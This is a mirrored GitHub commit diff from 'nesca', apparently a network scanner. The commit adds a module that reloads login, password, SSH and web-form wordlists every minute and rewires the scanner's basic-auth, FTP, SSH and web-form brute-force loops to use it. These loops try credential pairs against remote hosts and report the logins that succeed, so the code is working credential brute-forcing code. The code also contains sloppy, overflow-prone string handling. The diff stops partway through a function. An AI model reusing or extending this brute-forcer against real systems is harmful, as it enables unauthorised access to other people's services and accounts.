mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-11-23 18:52:19 +00:00
Auto file update carcass
This commit is contained in:
parent
462729914a
commit
f0f24067be
@ -40,22 +40,29 @@ lopaStr BA::BABrute(const char *ip, const int port) {
|
|||||||
|
|
||||||
strcpy(lps.login, "UNKNOWN");
|
strcpy(lps.login, "UNKNOWN");
|
||||||
|
|
||||||
|
char login[128] = {0};
|
||||||
|
char pass[32] = {0};
|
||||||
|
|
||||||
for(int i = 0; i < MaxLogin; ++i) {
|
for(int i = 0; i < MaxLogin; ++i) {
|
||||||
|
if(!lUpdated) Sleep(100);
|
||||||
|
strcpy(login, loginLst[i]);
|
||||||
for (int j = 0; j < MaxPass; ++j) {
|
for (int j = 0; j < MaxPass; ++j) {
|
||||||
if (!globalScanFlag) return lps;
|
if (!globalScanFlag) return lps;
|
||||||
|
if(!pUpdated) Sleep(100);
|
||||||
|
strcpy(pass, passLst[j]);
|
||||||
|
|
||||||
lpString = string(loginLst[i]) + ":" + string(passLst[j]);
|
lpString = string(login) + ":" + string(pass);
|
||||||
|
|
||||||
if (Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString) == -2) return lps;
|
if (Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString) == -2) return lps;
|
||||||
|
|
||||||
if(checkOutput(&buffer, ip, port)) {
|
if(checkOutput(&buffer, ip, port)) {
|
||||||
strcpy(lps.login, loginLst[i]);
|
strcpy(lps.login, login);
|
||||||
strcpy(lps.pass, passLst[j]);
|
strcpy(lps.pass, pass);
|
||||||
return lps;
|
return lps;
|
||||||
};
|
};
|
||||||
|
|
||||||
if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) +
|
if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) +
|
||||||
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
|
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
||||||
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
||||||
|
|
||||||
Sleep(100);
|
Sleep(100);
|
||||||
|
17
FTPAuth.cpp
17
FTPAuth.cpp
@ -21,30 +21,39 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
|
|||||||
int res = 0;
|
int res = 0;
|
||||||
int passCounter = 0;
|
int passCounter = 0;
|
||||||
|
|
||||||
|
char login[128] = {0};
|
||||||
|
char pass[32] = {0};
|
||||||
|
|
||||||
for(int i = 0; i < MaxLogin; ++i)
|
for(int i = 0; i < MaxLogin; ++i)
|
||||||
{
|
{
|
||||||
if(!globalScanFlag) return lps;
|
if(!globalScanFlag) return lps;
|
||||||
|
if(!lUpdated) Sleep(100);
|
||||||
if(strlen(loginLst[i]) <= 1) continue;
|
if(strlen(loginLst[i]) <= 1) continue;
|
||||||
|
|
||||||
|
strcpy(login, loginLst[i]);
|
||||||
|
|
||||||
for(int j = 0; j < MaxPass; ++j)
|
for(int j = 0; j < MaxPass; ++j)
|
||||||
{
|
{
|
||||||
if(!globalScanFlag) return lps;
|
if(!globalScanFlag) return lps;
|
||||||
|
if(!pUpdated) Sleep(100);
|
||||||
if(strlen(passLst[j]) <= 1) continue;
|
if(strlen(passLst[j]) <= 1) continue;
|
||||||
|
|
||||||
lpString = string(loginLst[i]) + ":" + string(passLst[j]);
|
strcpy(pass, passLst[j]);
|
||||||
|
|
||||||
|
lpString = string(login) + ":" + string(pass);
|
||||||
|
|
||||||
res = Connector::nConnect((string("ftp://") + string(ip)).c_str(), port, &buffer, NULL, NULL, &lpString);
|
res = Connector::nConnect((string("ftp://") + string(ip)).c_str(), port, &buffer, NULL, NULL, &lpString);
|
||||||
if (res == -2) return lps;
|
if (res == -2) return lps;
|
||||||
else if (res != -1) {
|
else if (res != -1) {
|
||||||
if (!globalScanFlag) return lps;
|
if (!globalScanFlag) return lps;
|
||||||
strcpy(lps.login, loginLst[i]);
|
strcpy(lps.login, login);
|
||||||
strcpy(lps.pass, passLst[j]);
|
strcpy(lps.pass, pass);
|
||||||
ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n');
|
ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n');
|
||||||
return lps;
|
return lps;
|
||||||
};
|
};
|
||||||
|
|
||||||
if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) +
|
if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) +
|
||||||
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
|
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
||||||
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
||||||
|
|
||||||
Sleep(100);
|
Sleep(100);
|
||||||
|
475
FileUpdater.cpp
Normal file
475
FileUpdater.cpp
Normal file
@ -0,0 +1,475 @@
|
|||||||
|
#include "FileUpdater.h"
|
||||||
|
|
||||||
|
long FileUpdater::oldNegLstSize = 0;
|
||||||
|
long FileUpdater::oldLoginLstSize = 0;
|
||||||
|
long FileUpdater::oldPassLstSize = 0;
|
||||||
|
long FileUpdater::oldSSHLstSize = 0;
|
||||||
|
long FileUpdater::oldWFLoginLstSize = 0;
|
||||||
|
long FileUpdater::oldWFPassLstSize = 0;
|
||||||
|
bool FileUpdater::negUpdated = false;
|
||||||
|
bool FileUpdater::lUpdated = false;
|
||||||
|
bool FileUpdater::pUpdated = false;
|
||||||
|
bool FileUpdater::wflUpdated = false;
|
||||||
|
bool FileUpdater::wfpUpdated = false;
|
||||||
|
bool FileUpdater::sshlpUpdated = false;
|
||||||
|
|
||||||
|
void updateNegatives() {
|
||||||
|
if(GlobalNegatives != NULL)
|
||||||
|
{
|
||||||
|
for(int i = 0; i < GlobalNegativeSize; ++i) delete []GlobalNegatives[i];
|
||||||
|
delete []GlobalNegatives;
|
||||||
|
GlobalNegatives = NULL;
|
||||||
|
};
|
||||||
|
|
||||||
|
negativeLoader();
|
||||||
|
}
|
||||||
|
void updateLogin() {
|
||||||
|
|
||||||
|
if(loginLst != NULL)
|
||||||
|
{
|
||||||
|
for(int i = 0; i < MaxLogin; ++i) delete []loginLst[i];
|
||||||
|
delete []loginLst;
|
||||||
|
loginLst = NULL;
|
||||||
|
};
|
||||||
|
|
||||||
|
MaxLogin = 0;
|
||||||
|
|
||||||
|
char buffFG[32] = {0};
|
||||||
|
|
||||||
|
FILE *loginList = fopen("login.txt", "r");
|
||||||
|
|
||||||
|
if(loginList != NULL)
|
||||||
|
{
|
||||||
|
while(fgets(buffFG, 32, loginList) != NULL)
|
||||||
|
{
|
||||||
|
MaxLogin++;
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
};
|
||||||
|
|
||||||
|
rewind(loginList);
|
||||||
|
|
||||||
|
loginLst = new char*[MaxLogin];
|
||||||
|
|
||||||
|
for(int j = 0; j < MaxLogin; j++)
|
||||||
|
{
|
||||||
|
loginLst[j] = new char[32];
|
||||||
|
};
|
||||||
|
|
||||||
|
int i = 0;
|
||||||
|
while(fgets(buffFG, 32, loginList) != NULL)
|
||||||
|
{
|
||||||
|
memset(loginLst[i], 0, strlen(buffFG) + 1);
|
||||||
|
|
||||||
|
if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||||
|
else strncat(loginLst[i++], buffFG, strlen(buffFG));
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
};
|
||||||
|
|
||||||
|
stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)");
|
||||||
|
|
||||||
|
fclose(loginList);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
stt->doEmitionRedFoundData("No login list found");
|
||||||
|
stt->doEmitionKillSttThread();
|
||||||
|
};
|
||||||
|
}
|
||||||
|
void updatePass() {
|
||||||
|
|
||||||
|
if(passLst != NULL)
|
||||||
|
{
|
||||||
|
for(int i = 0; i < MaxPass; ++i) delete []passLst[i];
|
||||||
|
delete []passLst;
|
||||||
|
passLst = NULL;
|
||||||
|
};
|
||||||
|
|
||||||
|
MaxPass = 0;
|
||||||
|
|
||||||
|
char buffFG[32] = {0};
|
||||||
|
|
||||||
|
FILE *passList = fopen("pass.txt", "r");
|
||||||
|
|
||||||
|
if(passList != NULL)
|
||||||
|
{
|
||||||
|
while(fgets(buffFG, 32, passList) != NULL)
|
||||||
|
{
|
||||||
|
MaxPass++;
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
};
|
||||||
|
|
||||||
|
rewind(passList);
|
||||||
|
|
||||||
|
passLst = new char*[MaxPass];
|
||||||
|
|
||||||
|
for(int j = 0; j < MaxPass; j++)
|
||||||
|
{
|
||||||
|
passLst[j] = new char[32];
|
||||||
|
};
|
||||||
|
|
||||||
|
int i = 0;
|
||||||
|
while(fgets(buffFG, 32, passList) != NULL)
|
||||||
|
{
|
||||||
|
memset(passLst[i], 0, strlen(buffFG) + 1);
|
||||||
|
|
||||||
|
if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1);
|
||||||
|
else strncat(passLst[i++], buffFG, strlen(buffFG));
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
};
|
||||||
|
|
||||||
|
stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)");
|
||||||
|
|
||||||
|
fclose(passList);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
stt->doEmitionRedFoundData("No password list found");
|
||||||
|
stt->doEmitionKillSttThread();
|
||||||
|
};
|
||||||
|
}
|
||||||
|
void updateSSH() {
|
||||||
|
|
||||||
|
if(sshlpLst != NULL)
|
||||||
|
{
|
||||||
|
for(int i = 0; i < MaxSSHPass; ++i) delete []sshlpLst[i];
|
||||||
|
delete []sshlpLst;
|
||||||
|
sshlpLst = NULL;
|
||||||
|
};
|
||||||
|
|
||||||
|
MaxSSHPass = 0;
|
||||||
|
|
||||||
|
FILE *sshlpList;
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
|
||||||
|
sshlpList = fopen("sshpass.txt", "r");
|
||||||
|
|
||||||
|
if(sshlpList != NULL)
|
||||||
|
{
|
||||||
|
while(fgets(buffFG, 32, sshlpList) != NULL)
|
||||||
|
{
|
||||||
|
++MaxSSHPass;
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
};
|
||||||
|
|
||||||
|
rewind(sshlpList);
|
||||||
|
|
||||||
|
sshlpLst = new char*[MaxSSHPass];
|
||||||
|
|
||||||
|
for(int j = 0; j < MaxSSHPass; j++)
|
||||||
|
{
|
||||||
|
sshlpLst[j] = new char[32];
|
||||||
|
};
|
||||||
|
|
||||||
|
int i = 0;
|
||||||
|
while(fgets(buffFG, 32, sshlpList) != NULL)
|
||||||
|
{
|
||||||
|
memset(sshlpLst[i], 0, strlen(buffFG) + 1);
|
||||||
|
|
||||||
|
if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1);
|
||||||
|
else strncat(sshlpLst[i++], buffFG, strlen(buffFG));
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
};
|
||||||
|
|
||||||
|
stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)");
|
||||||
|
|
||||||
|
fclose(sshlpList);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
stt->doEmitionRedFoundData("No password/login list found");
|
||||||
|
stt->doEmitionKillSttThread();
|
||||||
|
};
|
||||||
|
}
|
||||||
|
void updateWFLogin() {
|
||||||
|
|
||||||
|
if(wfLoginLst != NULL)
|
||||||
|
{
|
||||||
|
for(int i = 0; i < MaxWFLogin; ++i) delete []wfLoginLst[i];
|
||||||
|
delete []wfLoginLst;
|
||||||
|
wfLoginLst = NULL;
|
||||||
|
};
|
||||||
|
|
||||||
|
MaxWFLogin = 0;
|
||||||
|
|
||||||
|
FILE *wfLoginList;
|
||||||
|
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
|
||||||
|
wfLoginList = fopen("wflogin.txt", "r");
|
||||||
|
|
||||||
|
if(wfLoginList != NULL)
|
||||||
|
{
|
||||||
|
while(fgets(buffFG, 32, wfLoginList) != NULL)
|
||||||
|
{
|
||||||
|
MaxWFLogin++;
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
};
|
||||||
|
|
||||||
|
rewind(wfLoginList);
|
||||||
|
|
||||||
|
wfLoginLst = new char*[MaxWFLogin];
|
||||||
|
|
||||||
|
for(int j = 0; j < MaxWFLogin; j++)
|
||||||
|
{
|
||||||
|
wfLoginLst[j] = new char[32];
|
||||||
|
};
|
||||||
|
|
||||||
|
int i = 0;
|
||||||
|
while(fgets(buffFG, 32, wfLoginList) != NULL)
|
||||||
|
{
|
||||||
|
memset(wfLoginLst[i], 0, strlen(buffFG) + 1);
|
||||||
|
|
||||||
|
if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||||
|
else strncat(wfLoginLst[i++], buffFG, strlen(buffFG));
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
};
|
||||||
|
|
||||||
|
stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)");
|
||||||
|
fclose(wfLoginList);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
void updateWFPass() {
|
||||||
|
|
||||||
|
if(wfPassLst != NULL)
|
||||||
|
{
|
||||||
|
for(int i = 0; i < MaxWFPass; ++i) delete []wfPassLst[i];
|
||||||
|
delete []wfPassLst;
|
||||||
|
wfPassLst = NULL;
|
||||||
|
};
|
||||||
|
|
||||||
|
MaxWFPass = 0;
|
||||||
|
|
||||||
|
FILE *wfPassList;
|
||||||
|
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
|
||||||
|
wfPassList = fopen("wfpass.txt", "r");
|
||||||
|
|
||||||
|
if(wfPassList != NULL)
|
||||||
|
{
|
||||||
|
while(fgets(buffFG, 32, wfPassList) != NULL)
|
||||||
|
{
|
||||||
|
MaxWFPass++;
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
};
|
||||||
|
|
||||||
|
rewind(wfPassList);
|
||||||
|
|
||||||
|
wfPassLst = new char*[MaxWFPass];
|
||||||
|
|
||||||
|
for(int j = 0; j < MaxWFPass; j++)
|
||||||
|
{
|
||||||
|
wfPassLst[j] = new char[32];
|
||||||
|
};
|
||||||
|
|
||||||
|
int i = 0;
|
||||||
|
while(fgets(buffFG, 32, wfPassList) != NULL)
|
||||||
|
{
|
||||||
|
memset(wfPassLst[i], 0, strlen(buffFG) + 1);
|
||||||
|
|
||||||
|
if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1);
|
||||||
|
else strncat(wfPassLst[i++], buffFG, strlen(buffFG));
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
};
|
||||||
|
|
||||||
|
stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)");
|
||||||
|
fclose(wfPassList);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
long getFileSize(const char *fileName) {
|
||||||
|
std::ifstream in(fileName, std::ifstream::ate | std::ifstream::binary);
|
||||||
|
return in.tellg();
|
||||||
|
}
|
||||||
|
|
||||||
|
bool updateList(const char *fileName) {
|
||||||
|
long sz = getFileSize(fileName);
|
||||||
|
|
||||||
|
if(strstr(fileName, "negatives") != NULL) {
|
||||||
|
if(sz != oldNegLstSize) {
|
||||||
|
negUpdated = false;
|
||||||
|
oldNegLstSize = sz;
|
||||||
|
updateNegatives();
|
||||||
|
negUpdated = true;
|
||||||
|
}
|
||||||
|
} else if(strstr(fileName, "login") != NULL) {
|
||||||
|
if(sz != oldLoginLstSize) {
|
||||||
|
lUpdated = false;
|
||||||
|
oldLoginLstSize = sz;
|
||||||
|
updateLogin();
|
||||||
|
lUpdated = true;
|
||||||
|
}
|
||||||
|
} else if(strstr(fileName, "pass") != NULL) {
|
||||||
|
if(sz != oldPassLstSize) {
|
||||||
|
pUpdated = false;
|
||||||
|
oldPassLstSize = sz;
|
||||||
|
updatePass();
|
||||||
|
pUpdated = true;
|
||||||
|
}
|
||||||
|
} else if(strstr(fileName, "sshpass") != NULL) {
|
||||||
|
if(sz != oldSSHLstSize) {
|
||||||
|
sshlpUpdated = false;
|
||||||
|
oldSSHLstSize = sz;
|
||||||
|
updateSSH();
|
||||||
|
sshlpUpdated = true;
|
||||||
|
}
|
||||||
|
} else if(strstr(fileName, "wflogin") != NULL) {
|
||||||
|
if(sz != oldWFLoginLstSize) {
|
||||||
|
wflUpdated = false;
|
||||||
|
oldWFLoginLstSize = sz;
|
||||||
|
updateWFLogin();
|
||||||
|
wflUpdated = true;
|
||||||
|
}
|
||||||
|
} else if(strstr(fileName, "wfpass") != NULL) {
|
||||||
|
if(sz != oldWFPassLstSize) {
|
||||||
|
wfpUpdated = false;
|
||||||
|
oldWFPassLstSize = sz;
|
||||||
|
updateWFPass();
|
||||||
|
wfpUpdated = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void ReadUTF8(FILE* nFile, char *cp) {
|
||||||
|
char buffFG[256] = {0};
|
||||||
|
int i = 0;
|
||||||
|
GlobalNegativeSize = 0;
|
||||||
|
|
||||||
|
if(nFile != NULL)
|
||||||
|
{
|
||||||
|
while(fgets((char*)buffFG, sizeof(buffFG), nFile) != NULL)
|
||||||
|
{
|
||||||
|
if(buffFG[0] != '#' && buffFG[0] != ' ' && buffFG[0] != '\n' && buffFG[0] != '\r' && strcmp(buffFG, "") != 0 &&
|
||||||
|
((buffFG[0] == '/' && buffFG[1] == '/') == false) && ((buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == 13 || buffFG[3] == 10 || buffFG[3] == '#')) == false)
|
||||||
|
&& (buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == '/' && buffFG[4] == '/')) == false)
|
||||||
|
{
|
||||||
|
++GlobalNegativeSize;
|
||||||
|
};
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
};
|
||||||
|
|
||||||
|
rewind(nFile);
|
||||||
|
if(strcmp(cp, "UTF") == 0) fseek(nFile, 3, 0);
|
||||||
|
|
||||||
|
GlobalNegatives = new char*[GlobalNegativeSize + 2];
|
||||||
|
|
||||||
|
while(fgets(buffFG, sizeof(buffFG), nFile) != NULL)
|
||||||
|
{
|
||||||
|
if(buffFG[0] == '#' || buffFG[0] == ' ' || buffFG[0] == '\n' || buffFG[0] == '\r' || strcmp(buffFG, "") == 0 ||
|
||||||
|
(buffFG[0] == '/' && buffFG[1] == '/'))
|
||||||
|
{
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
|
||||||
|
if(buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t')
|
||||||
|
{
|
||||||
|
char buffFGT[256] = {0};
|
||||||
|
strcpy(buffFGT, buffFG);
|
||||||
|
char *ptr1 = strstr(buffFGT, "\t\t\t");
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
strcpy(buffFG, ptr1 + 3);
|
||||||
|
};
|
||||||
|
|
||||||
|
int bSz = strlen(buffFG);
|
||||||
|
if((bSz == 2 && buffFG[0] == 13 && buffFG[1] == 10) || (bSz == 1 && (buffFG[0] == 13 || buffFG[0] == 10)))
|
||||||
|
{
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
if(buffFG[bSz] == 13 || buffFG[bSz] == 10)
|
||||||
|
{
|
||||||
|
buffFG[bSz] = '\0';
|
||||||
|
};
|
||||||
|
if(buffFG[bSz - 1] == 13 || buffFG[bSz - 1] == 10)
|
||||||
|
{
|
||||||
|
buffFG[bSz - 1] = '\0';
|
||||||
|
};
|
||||||
|
if(buffFG[bSz - 2] == 13 || buffFG[bSz - 2] == 10)
|
||||||
|
{
|
||||||
|
buffFG[bSz - 2] = '\0';
|
||||||
|
};
|
||||||
|
|
||||||
|
if(strstr((char*)buffFG, "\n") != 0)
|
||||||
|
{
|
||||||
|
std::string res;
|
||||||
|
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||||
|
res = xcode(buffFG, CP_UTF8, CP_ACP);
|
||||||
|
#else
|
||||||
|
res = std::string(buffFG);
|
||||||
|
#endif
|
||||||
|
int sz = res.size();
|
||||||
|
GlobalNegatives[i] = new char[sz + 1];
|
||||||
|
ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i]));
|
||||||
|
memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz - 1);
|
||||||
|
memset(GlobalNegatives[i] + sz - 1, '\0', 1);
|
||||||
|
++i;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
std::string res;
|
||||||
|
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||||
|
res = xcode(buffFG, CP_UTF8, CP_ACP);
|
||||||
|
#else
|
||||||
|
res = std::string(buffFG);
|
||||||
|
#endif
|
||||||
|
int sz = res.size();
|
||||||
|
GlobalNegatives[i] = new char[sz + 1];
|
||||||
|
ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i]));
|
||||||
|
memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz);
|
||||||
|
memset(GlobalNegatives[i] + sz, '\0', 1);
|
||||||
|
++i;
|
||||||
|
};
|
||||||
|
|
||||||
|
unsigned char buffcpy2[256] = {0};
|
||||||
|
int sz = strlen((char*)buffFG);
|
||||||
|
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||||
|
strncpy((char*)buffcpy2, xcode(buffFG, CP_ACP, CP_UTF8).c_str(), sz);
|
||||||
|
#else
|
||||||
|
strncpy((char*)buffcpy2, buffFG, sz);
|
||||||
|
#endif
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
};
|
||||||
|
|
||||||
|
stt->doEmitionGreenFoundData("Negative list loaded (" + QString::number(GlobalNegativeSize) + " entries)");
|
||||||
|
ZeroMemory(buffFG, sizeof(buffFG));
|
||||||
|
fclose(nFile);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
stt->doEmitionRedFoundData("No negative list found");
|
||||||
|
stt->doEmitionKillSttThread();
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
void negativeLoader() {
|
||||||
|
FILE *nFile = fopen("negatives.txt", "rb");
|
||||||
|
|
||||||
|
if( nFile != NULL)
|
||||||
|
{
|
||||||
|
unsigned char b[3] = {0};
|
||||||
|
fread(b,1,2, nFile);
|
||||||
|
if( b[0] == 0xEF && b[1] == 0xBB)
|
||||||
|
{
|
||||||
|
fread(b,1,1,nFile); // 0xBF
|
||||||
|
ReadUTF8(nFile, "UTF");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
ReadUTF8(nFile, "1251");
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int FileUpdater::updateLists() {
|
||||||
|
while(globalScanFlag) {
|
||||||
|
bool res = updateList("negatives.txt");
|
||||||
|
res = updateList("login.txt");
|
||||||
|
res = updateList("pass.txt");
|
||||||
|
res = updateList("sshpass.txt");
|
||||||
|
res = updateList("wflogin.txt");
|
||||||
|
res = updateList("wfpass.txt");
|
||||||
|
|
||||||
|
Sleep(60000);
|
||||||
|
}
|
||||||
|
}
|
33
FileUpdater.h
Normal file
33
FileUpdater.h
Normal file
@ -0,0 +1,33 @@
|
|||||||
|
#ifndef FILEUPDATER_H
|
||||||
|
#define FILEUPDATER_H
|
||||||
|
|
||||||
|
#ifndef Sleep
|
||||||
|
#define Sleep(msecs) usleep((msecs)*1000)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <fstream>
|
||||||
|
#include "externData.h"
|
||||||
|
#include "externFunctions.h"
|
||||||
|
|
||||||
|
class FileUpdater {
|
||||||
|
public:
|
||||||
|
static long oldNegLstSize;
|
||||||
|
static long oldLoginLstSize;
|
||||||
|
static long oldPassLstSize;
|
||||||
|
static long oldSSHLstSize;
|
||||||
|
static long oldWFLoginLstSize;
|
||||||
|
static long oldWFPassLstSize;
|
||||||
|
static bool negUpdated;
|
||||||
|
static bool lUpdated;
|
||||||
|
static bool pUpdated;
|
||||||
|
static bool wflUpdated;
|
||||||
|
static bool wfpUpdated;
|
||||||
|
static bool sshlpUpdated;
|
||||||
|
|
||||||
|
public:
|
||||||
|
static int updateLists();
|
||||||
|
static void passLoginLoader();
|
||||||
|
static void negativeLoader();
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // FILEUPDATER_H
|
@ -92,6 +92,7 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
|
|||||||
for(int i = 0; i < MaxSSHPass; ++i)
|
for(int i = 0; i < MaxSSHPass; ++i)
|
||||||
{
|
{
|
||||||
if(!globalScanFlag) break;
|
if(!globalScanFlag) break;
|
||||||
|
if(!sshlpUpdated) Sleep(100);
|
||||||
strcpy(temp, sshlpLst[i]);
|
strcpy(temp, sshlpLst[i]);
|
||||||
ptr1 = strstr(temp, ":");
|
ptr1 = strstr(temp, ":");
|
||||||
if (ptr1 == NULL) {
|
if (ptr1 == NULL) {
|
||||||
|
@ -6,8 +6,8 @@ lopaStr WFClass::parseResponse(const char *ip,
|
|||||||
const int port,
|
const int port,
|
||||||
const std::string *buffer,
|
const std::string *buffer,
|
||||||
const char* formVal,
|
const char* formVal,
|
||||||
const int *iIndex,
|
const char *login,
|
||||||
const int *jIndex) {
|
const char *pass) {
|
||||||
|
|
||||||
lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"};
|
lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"};
|
||||||
|
|
||||||
@ -32,9 +32,9 @@ lopaStr WFClass::parseResponse(const char *ip,
|
|||||||
if(*iIndex == 0) return result;
|
if(*iIndex == 0) return result;
|
||||||
|
|
||||||
stt->doEmition_BAGreenData("[+] " + QString(ip) + ":" + QString::number(port) + " - WF pass: " +
|
stt->doEmition_BAGreenData("[+] " + QString(ip) + ":" + QString::number(port) + " - WF pass: " +
|
||||||
QString(wfLoginLst[*iIndex]) + ":" + QString(wfPassLst[*jIndex]));
|
QString(login) + ":" + QString(pass));
|
||||||
strcpy(result.login, wfLoginLst[*iIndex]);
|
strcpy(result.login, login);
|
||||||
strcpy(result.pass, wfPassLst[*jIndex]);
|
strcpy(result.pass, pass);
|
||||||
return result;
|
return result;
|
||||||
|
|
||||||
} else {
|
} else {
|
||||||
@ -60,14 +60,22 @@ lopaStr WFClass::doGetCheck(const char *ip,
|
|||||||
int passCounter = 0;
|
int passCounter = 0;
|
||||||
int firstCycle = 0;
|
int firstCycle = 0;
|
||||||
|
|
||||||
|
char login[128] = {0};
|
||||||
|
char pass[32] = {0};
|
||||||
|
|
||||||
for(int i = 0; i < MaxWFLogin; ++i)
|
for(int i = 0; i < MaxWFLogin; ++i)
|
||||||
{
|
{
|
||||||
if(!globalScanFlag) break;
|
if(!globalScanFlag) break;
|
||||||
|
if(!wflUpdated) Sleep(100);
|
||||||
|
strcpy(login, wfLoginLst[i]);
|
||||||
|
|
||||||
for(int j = firstCycle; j < MaxWFPass; ++j)
|
for(int j = firstCycle; j < MaxWFPass; ++j)
|
||||||
{
|
{
|
||||||
if(!globalScanFlag) break;
|
if(!globalScanFlag) break;
|
||||||
|
if(!wfpUpdated) Sleep(100);
|
||||||
|
strcpy(pass, wfPassLst[j]);
|
||||||
|
|
||||||
int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4;
|
int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(login) + strlen(passVal) + strlen(pass) + 4;
|
||||||
|
|
||||||
if(rSize > 256) {
|
if(rSize > 256) {
|
||||||
stt->doEmitionRedFoundData("[WF] Wrong request size! (" + QString(ip) + ":" + QString::number(port) + ")");
|
stt->doEmitionRedFoundData("[WF] Wrong request size! (" + QString(ip) + ":" + QString::number(port) + ")");
|
||||||
@ -75,15 +83,17 @@ lopaStr WFClass::doGetCheck(const char *ip,
|
|||||||
};
|
};
|
||||||
|
|
||||||
char nip[256] = {0};
|
char nip[256] = {0};
|
||||||
sprintf(nip, "%s%s?%s=%s&%s=%s", ip, actionVal, userVal, wfLoginLst[i], passVal, wfPassLst[j]);
|
sprintf(nip, "%s%s?%s=%s&%s=%s", ip, actionVal, userVal, login, passVal, pass);
|
||||||
|
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
Connector::nConnect(nip, port, &buffer);
|
Connector::nConnect(nip, port, &buffer);
|
||||||
|
|
||||||
